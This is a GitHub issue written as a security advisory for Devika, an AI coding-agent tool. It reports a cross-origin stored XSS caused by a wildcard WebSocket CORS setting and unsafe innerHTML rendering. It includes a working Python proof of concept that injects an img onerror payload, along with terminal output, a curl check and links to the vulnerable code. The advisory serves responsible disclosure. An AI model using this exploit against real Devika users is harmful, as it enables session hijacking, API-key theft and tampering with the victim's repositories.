Skip to content

[Security] Critical Stored XSS via WebSocket CORS Bypass in Devika allows Complete Session Takeover #713

@YLChen-007

Description

@YLChen-007

Advisory Details

Title: Critical Stored XSS via WebSocket CORS Bypass in Devika allows Complete Session Takeover

Description:

Summary

A critical Stored Cross-Site Scripting (XSS) vulnerability exists in Devika because the backend WebSocket server allows unrestricted cross-origin connections (cors_allowed_origins="*") and stores incoming user-message payloads directly into the database without any server-side sanitization. The frontend chat interface subsequently renders these raw messages using unsafe HTML binding (bind:innerHTML). This full-chain exploit allows unauthenticated external attackers to perform a "Zero-Click" XSS attack against any Devika user simply by convincing the user to visit a malicious website, leading to complete local session hijacking and interaction with the AI agent ecosystem on the victim's behalf.

Details

Devika attempted to patch a previous Stored XSS vulnerability (CVE-2024-5711) by introducing DOMPurify on the client-side (ui/src/lib/components/MessageInput.svelte). However, this completely neglected the protocol layer.

  1. WebSocket Origin Bypass: In src/socket_instance.py, flask_socketio is initialized with cors_allowed_origins="*". This disables the browser's Same-Origin Policy for WebSocket handshakes.
  2. Unsanitized Data Ingestion: The user-message WebSocket event handler in devika.py receives the raw JSON and passes it directly to ProjectManager.add_message_from_user() in src/project.py. The message string is written into the SQLite database (project_state.message_stack_json) with zero HTML encoding or sanitation.
  3. Unsafe Frontend Execution Sink: When the victim views their project, the MessageContainer.svelte component executes bind:innerHTML={message.message}. This Svelte directive is equivalent to v-html or element.innerHTML, directly executing any JavaScript passed from the database.

Because the WebSocket allows * origins, an attacker can embed a malicious JavaScript payload on any website. When the victim (whose local Devika is running on 127.0.0.1:1337) visits this attacker-controlled site, the site's JS transparently opens a WebSocket to the local Devika instance and injects the XSS payload into a project. When the victim returns to the Devika UI, the payload triggers. This weaponizes the Stored XSS into an unauthenticated, remote, cross-origin attack.

PoC

Prerequisites:

  • The victim has Devika running locally (default ports 1337 and 3000).

Exploitation Steps:

  1. Save the following minimal pure-Python exploit as exploit.py. This simulates the external cross-origin web request injecting the database payload.
import socketio
import time

TARGET_URL = "http://127.0.0.1:1337"
PROJECT = "xss-poc-test"
PAYLOAD = '<img src=x onerror="alert(\'Critical Stored XSS via WebSocket Bypass\')">'

sio = socketio.Client()

@sio.event
def connect():
    print(f"[+] Connected to Devika: {TARGET_URL}")
    print(f"[*] Injecting payload into project '{PROJECT}'...")
    sio.emit('user-message', {
        'message': PAYLOAD,
        'base_model': 'GPT-4o',
        'project_name': PROJECT,
        'search_engine': 'duckduckgo'
    })
    time.sleep(2)
    print("[+] Payload successfully stored in Devika DB.")
    sio.disconnect()

if __name__ == "__main__":
    sio.connect(TARGET_URL)
  1. Run the exploit: python3 exploit.py
  2. Open the victim's Devika UI at http://127.0.0.1:3000.
  3. Click on the project named xss-poc-test.
  4. Observe the XSS execution via the Alert popup because the injected <img> block executed its onerror Javascript handler.

Log of Evidence

Terminal Output confirming the injection:

$ python3 exploit.py
[+] Connected to Devika: http://127.0.0.1:1337
[*] Injecting payload into project 'xss-poc-test'...
[+] Payload successfully stored in Devika DB.

Checking the API manually to prove the database stored the raw unsanitized payload:

$ curl -s -X POST http://127.0.0.1:1337/api/messages -H "Content-Type: application/json" -d '{"project_name": "xss-poc-test"}'
{
  "messages": [
    {
      "from_devika": false,
      "message": "<img src=x onerror=\"alert('Critical Stored XSS via WebSocket Bypass')\">",
      "timestamp": "2024-03-07 10:15:30"
    }
  ]
}

Impact

This vulnerability completely compromises the Devika client interface. Given the nature of Devika as an Agentic AI tool with file system access, an attacker who executes JS in the Devika DOM can map the local filesystem, steal sensitive API keys (OpenAI, Claude, etc.) stored in the Devika settings, weaponize the AI agents to write backdoors into the developer's local repositories, and fully hijack the victim's session.

Because of the WebSocket CORS wildcard misconfiguration (CVE-2024-5820), this bypasses local network protections heavily. It turns a local app vulnerability into a remotely exploitable vector via malicious external websites.

Affected products

  • Ecosystem: python / node
  • Package name: stitionai/devika
  • Affected versions: All versions (<= commit 7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4)
  • Patched versions:

Severity

  • Severity: High
  • Vector string: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N (8.2)

Weaknesses

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • CWE-346: Origin Validation Error (WebSocket CORS)

Occurrences

Permalink Description
https://github.com/stitionai/devika/blob/7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4/src/socket_instance.py#L4 socketio = SocketIO(cors_allowed_origins="*", async_mode="gevent") - Allows arbitrary Cross-Origin sites to connect to the WebSocket.
https://github.com/stitionai/devika/blob/7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4/devika.py#L77-L83 @socketio.on('user-message') handler extracts the raw JSON payload and passes it into the backend without sanitization.
https://github.com/stitionai/devika/blob/7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4/src/project.py#L67-L72 add_message_from_user() assigns the unescaped payload via new_message["message"] = message and routes it to the SQLite add_message_to_project database routine.
https://github.com/stitionai/devika/blob/7b68a836f8d0b1e5d4a3bdfa56ca736be93841a4/ui/src/lib/components/MessageContainer.svelte#L70-L74 The bind:innerHTML={message.message} block immediately executes any Javascript inside the un-purified text stream returning from the SQLite backend.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions